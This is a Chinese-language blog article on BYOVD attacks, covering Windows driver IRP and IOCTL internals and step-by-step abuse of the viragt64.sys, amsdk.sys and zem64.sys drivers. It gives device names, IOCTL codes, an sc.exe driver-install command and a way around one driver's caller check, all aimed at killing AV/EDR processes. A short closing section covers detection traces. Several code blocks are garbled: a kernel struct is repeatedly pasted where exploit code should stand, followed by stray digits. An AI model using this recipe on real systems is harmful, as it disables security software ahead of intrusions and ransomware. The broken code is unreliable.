BYOVD为Bring Your Own Vulnerable Driver缩写,该缩写为业内共识,解释为向目标环境植入一个带有漏洞的合法驱动程序,利用驱动漏洞获得内核权限,实现任意代码执行或终止任意高权限进程等攻击。
本文主要介绍BYOVD攻击场景、内核驱动通信方式、如何挖掘具备潜在的BYOVD利用条件的驱动程序以及BYOVD利用痕迹。
1. BYOVD攻击场景
通常在BYOVD攻击场景下,攻击者往往会直接杀掉终端安全软件(AV/EDR)核心进程,之后不受阻碍地开展任何恶意活动。
BYOVD技术最初主要被APT组织所使用,如Turla、方程式等,随着BYOVD开源项目,例如,KDU、Blackout、Mhyprot2DrvControl等项目,以及LOLDrivers项目记录着可供攻击者利用的合法驱动程序,攻击成本逐渐降低。
该项技术正广泛运用于APT、勒索、黑产等攻击活动中。
除此之外,还存在着一些未被披露的合法驱动程序和签名证书,未知的攻击风险显著增加。
内核驱动程序的主要目的是访问仅在内核模式下可访问的数据结构。用户态进程只能使用位于ntdll.dll或win32u.dl的Windows API函数,通过系统调用与内核驱动程序进行通信,访问的内核数据结构。
一次用户态进程与内核驱动通信的过程可以简述为:
用户态进程(app.exe)调用ntdll.dll的Nt*() Windows API 函数,通过系统服务描述符表找到 对应的内核 Nt*() API 函数地址。
当Windows API函数需要执行I/O操作(网络操作、文件系统操作等)时,函数的内核代码最终将调用I/O Manager,I/O Manager是一组负责与 I/O 操作驱动程序通信的函数(以Io开头的函数,Io*())。
I/O管理器(I/O Manager)目的是创建I/O 请求数据包 (IRP)数据结构,将包含用户态进程调用信息的IRP发送到相关的内核驱动程序(app.sys)。
如果是硬件驱动程序,则还会调用硬件抽象层(Hardware Abstraction Layer)的函数(以 Hal开头的函数,Hal*())与硬件进行通信。
以上内核操作都由内核进程(ntoskrnl.exe)进行管理。
更多类型的驱动程序,请参考:https://learn.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/what-is-a-driver-
2.1 IRP(I/O 请求数据包)
IRP(I/O 请求数据包)是一种数据结构,由I/O管理器(I/O Manager)创建,用于与驱动程序通信。
部分结构体成员如下:
typedef struct _IRP {
... ...
union {
struct {
union {
KDEVICE_QUEUE_ENTRY DeviceQueueEntry;
struct {
PVOID DriverContext[4];
};
};
PETHREAD Thread;
PCHAR AuxiliaryBuffer;
struct {
LIST_ENTRY ListEntry;
union {
struct _IO_STACK_LOCATION *CurrentStackLocation;
ULONG PacketType;
};
};
PFILE_OBJECT OriginalFileObject;
} Overlay;
... ...
} IRP;
2.1.1 _IO_STACK_LOCATION
IO_STACK_LOCATION包含一个巨大的联合体,部分结构成员:
typedef struct _IO_STACK_LOCATION {
UCHAR MajorFunction;
UCHAR MinorFunction;
UCHAR Flags;
UCHAR Control;
... ...
struct {
ULONG OutputBufferLength;
ULONG POINTER_ALIGNMENT InputBufferLength;
ULONG POINTER_ALIGNMENT IoControlCode;
PVOID Type3InputBuffer;
} DeviceIoControl;
} IO_STACK_LOCATION, *PIO_STACK_LOCATION;
我们只关注的MajorFunction和DeviceIoControl成员。
MajorFunction包含IRP主体代码内容,它告诉驱动程序应该执行什么操作。
有以下几种参数:
有以下几种参数:
IRP_MJ_CREATE:当NtCreateFile()(从用户模式)或ZwCreateFile()(从内核模式)在驱动程序上调用时。
IRP_MJ_CLOSE:当NtClose()(从用户模式)或ZwClose()(从内核模式)在驱动程序上调用时。
IRP_MJ_DEVICE_CONTROL:当NtDeviceIoControlFile()(从用户模式)或ZwDeviceIoControlFile()(从内核模式)在驱动程序上调用时。
IRP_MJ_READ
IRP_MJ_WRITE
IRP_MJ_CLEANUP
IRP_MJ_FILE_SYSTEM_CONTROL
IRP_MJ_FLUSH_BUFFERS
IRP_MJ_INTERNAL_DEVICE_CONTROL
IRP_MJ_PNP
IRP_MJ_POWER
IRP_MJ_QUERY_INFORMATION
IRP_MJ_SET_INFORMATION
IRP_MJ_SHUTDOWN
IRP_MJ_SYSTEM_CONTROL
对我们来说重要参数是:IRP_MJ_DEVICE_CONTROL、IRP_MJ_CREATE、IRP_MJ_CLOSE。
调用NtCreateFile(),NtClose()或者与NtDeviceIoControlFile()等函数与驱动程序交互时,执行的操作相关的值存储IRP构建的MajorFunction结构体成员里。
调用DeviceIoControl()、NtDeviceIoControlFile()或ZwDeviceIoControlFile()时,其函数参数存储在DeviceIoControl结构体中。
DeviceIoControl结构体为:
struct {
ULONG OutputBufferLength;
ULONG POINTER_ALIGNMENT InputBufferLength;
ULONG POINTER_ALIGNMENT IoControlCode;
PVOID Type3InputBuffer;
} DeviceIoControl;
DeviceIoControl()函数用于与驱动程序进行通信,其参数为:
通信的驱动程序的句柄
IoControlCode(也称为IOCTL)。
IOCTL存储在IRP的IO_STACK_LOCATION联合体的DeviceIoControl结构体成员IoControlCode中。
2.2 IOCTL(I/O 控制代码)
IOCTL(I/O 控制代码)是一个 32 位值,用于标识驱动程序中的特定功能,对于用户模式和驱动程序之间的通信至关重要。
假设内核驱动程序提供终止进程功能的函数,通过DeviceIoControl()函数,传递驱动程序中终止进程函数IOCTL代码以及要终止的进程PID。
IOCTL是由I/O 管理器(I/OManager)在创建IRP期间写入并发送到内核驱动程序的。
然后,驱动程序使用IRP当前IO_STACK_LOCATION字段找出需要执行哪个MajorFunction。如果MajorFunction字段的内容为IRP_MJ_DEVICE_CONTROL ,则将在DeviceIoControl字段中检索IoControlCode代码。
最后,将IRP发送到驱动程序,驱动程序执行与 IOCTL(I/O 控制代码)相关的函数。
整体流程示意图如下:
IOCTL一般由驱动程序开发人员定义,但有严格规则。
包含4种信息:
DeviceType:标识设备类型。在软件驱动程序中,大多数情况下类型是FILE_DEVICE_UNKNOWN(0x22) 或取值范围为0x8000至 0xFFFF。
FunctionCode:标识驱动程序中函数的代码。对于同一设备类型是唯一的。取值范围为0x800到0xFFF。
TransferType:标识调用者和驱动程序之间如何传递数据。
requiredAccess:标识调用者在打开表示设备的文件对象时的访问类型(读、写等)。
开发时定义 IOCTL 宏:
#define IOCTL_Device_Function CTL_CODE(DeviceType, Function, Method, Access)
其中IOCTL实际的值,经过计算获得:
CTL_CODE = ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))
一个声明IOCTL例子:
#define IOCTL_DISK_SET_PARTITION_INFO CTL_CODE(IOCTL_DISK_BASE, 0x008, METHOD_BUFFERED,FILE_READ_DATA | FILE_WRITE_DATA)
DriverEntry()函数是Windows驱动程序的主要函数,是驱动程序加载后第一个调用的函数,其函数的返回值是一个NTSTATUS类型,宏定义在ntstatus.h头文件中。
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
它需要 2 个参数:
DriverObject:指向DRIVER_OBJECT结构体指针。
RegistryPath:指向驱动程序注册表项路径 Unicode 字符串的指针。
3. BYOVD攻击利用
导入获取进程句柄的函数(例如NtOpenProcess或ZwOpenProcess)
导入终止进程的函数(例如NtTerminateProcess或ZwTerminateProcess)
3.1 viragt64.sys
在驱动程序源代码一般这样赋值:
// When a Nt/ZwNtDeviceIoControlFile() is used on this driver the function 'IOCTL_Major_Function' will be executed.
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTL_Major_Function;
现在,我们已知利用BYOVD终止任意进程的所有条件:
导入获取进程句柄的函数(例如NtOpenProcess或ZwOpenProcess),且执行时未对调用的用户程序进行校验
导入终止进程的函数(例如NtTerminateProcess或ZwTerminateProcess),且执行时未对调用的用户程序进行校验
驱动名称为viragt64,设备名称为Viragtlt
IOCTL为0x82730030
首先,安装易受攻击的驱动程序:
sc.exe create viragt64.sys binPath= C:windowstempviragt64.sys type= kernel && sc.exe start viragt64.sys
然后,检索设备Viragtlt上的句柄:
CreateFileA("\\.\Viragtlt", GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
向目标设备的发送 IOCTLDeviceIoControl,终止进程。
typedef struct _IO_STACK_LOCATION {
UCHAR MajorFunction;
UCHAR MinorFunction;
UCHAR Flags;
UCHAR Control;
... ...
struct {
ULONG OutputBufferLength;
ULONG POINTER_ALIGNMENT InputBufferLength;
ULONG POINTER_ALIGNMENT IoControlCode;
PVOID Type3InputBuffer;
} DeviceIoControl;
} IO_STACK_LOCATION, *PIO_STACK_LOCATION;
0
测试终止目标进程。
3.2 amsdk.sys
反编译amsdk.sys查找引用ZwTerminateProcess()的函数,ZwOpenProcess()将进程句柄作为参数传递给 ZwTerminateProcess()。
向上回溯,这个驱动程序对传入IOCTL的用户程序进行了校验,如果IOCTL不为0x80002010时,检测是否是已认证的进程,若不是则退出调用过程。
向下查看,IOCTL为0x80002010时,调用IOCTL_REGISTER_PROCESS对当前进程进行认证注册。
没有更多特殊校验,当服务初始化完成后,对传入进程名查找进程号,记录到全局结构体中。
返回DirverEntry函数,可知设备链接名称为amsdk。
现在,我们已知利用BYOVD技术终止任意进程的所有条件:
导入获取进程句柄的函数(例如NtOpenProcess或ZwOpenProcess)
导入终止进程的函数(例如NtTerminateProcess或ZwTerminateProcess)
绕过调用终止进程的条件
驱动名称为amsdk,设备名称为amsdk
调用注册进程的IOCTL为0x80002010
调用终止进程的IOCTL为0x80002048
首先,安装易受攻击的驱动程序:
typedef struct _IO_STACK_LOCATION {
UCHAR MajorFunction;
UCHAR MinorFunction;
UCHAR Flags;
UCHAR Control;
... ...
struct {
ULONG OutputBufferLength;
ULONG POINTER_ALIGNMENT InputBufferLength;
ULONG POINTER_ALIGNMENT IoControlCode;
PVOID Type3InputBuffer;
} DeviceIoControl;
} IO_STACK_LOCATION, *PIO_STACK_LOCATION;
1
然后,检索设备amsdk上的句柄:
typedef struct _IO_STACK_LOCATION {
UCHAR MajorFunction;
UCHAR MinorFunction;
UCHAR Flags;
UCHAR Control;
... ...
struct {
ULONG OutputBufferLength;
ULONG POINTER_ALIGNMENT InputBufferLength;
ULONG POINTER_ALIGNMENT IoControlCode;
PVOID Type3InputBuffer;
} DeviceIoControl;
} IO_STACK_LOCATION, *PIO_STACK_LOCATION;
2
并使用我们的目标的发送 IOCTLDeviceIoControl,先注册认证进程,绕过进程校验,然后调用终止进程。
unsigned int pid = GetCurrentProcessId();
typedef struct _IO_STACK_LOCATION {
UCHAR MajorFunction;
UCHAR MinorFunction;
UCHAR Flags;
UCHAR Control;
... ...
struct {
ULONG OutputBufferLength;
ULONG POINTER_ALIGNMENT InputBufferLength;
ULONG POINTER_ALIGNMENT IoControlCode;
PVOID Type3InputBuffer;
} DeviceIoControl;
} IO_STACK_LOCATION, *PIO_STACK_LOCATION;
0typedef struct _IO_STACK_LOCATION {
UCHAR MajorFunction;
UCHAR MinorFunction;
UCHAR Flags;
UCHAR Control;
... ...
struct {
ULONG OutputBufferLength;
ULONG POINTER_ALIGNMENT InputBufferLength;
ULONG POINTER_ALIGNMENT IoControlCode;
PVOID Type3InputBuffer;
} DeviceIoControl;
} IO_STACK_LOCATION, *PIO_STACK_LOCATION;
0
测试终止目标进程,发现打开驱动句柄失败。
查看系统日志,由于amsdk.sys证书被吊销了,系统无法验证证书签名导致服务创建失败 : (
找到同一个公司开发的具有相同功能的驱动zem64.sys,只是创建的设备名为ZemanaAntiMalware,IOCTL和校验方式一致,利用上述方法进行测试,终止指定进程成功。
4. BYOVD利用痕迹
大部分BYOVD利用项目,完成功能后退出没有删除创建的链接,可在WinObj.exe中查找可疑的全局设备链接符号:
以及创建符号链接的时间:
系统日志可以获得服务创建和启动时间。
reference
https://github.com/xalicex/Killers/tree/main https://learn.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/what-is-a-driver- https://alice.climent-pommeret.red/posts/process-killer-driver/#the-basics https://github.com/h0mbre/ioctl.py https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/defining-i-o-control-codes https://github.com/microsoft/Windows-driver-samples/blob/main/general/ioctl/wdm/sys/sioctl.c https://github.com/zodiacon/windowskernelprogrammingbook/blob/master/chapter04/PriorityBooster/PriorityBooster.cpp
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...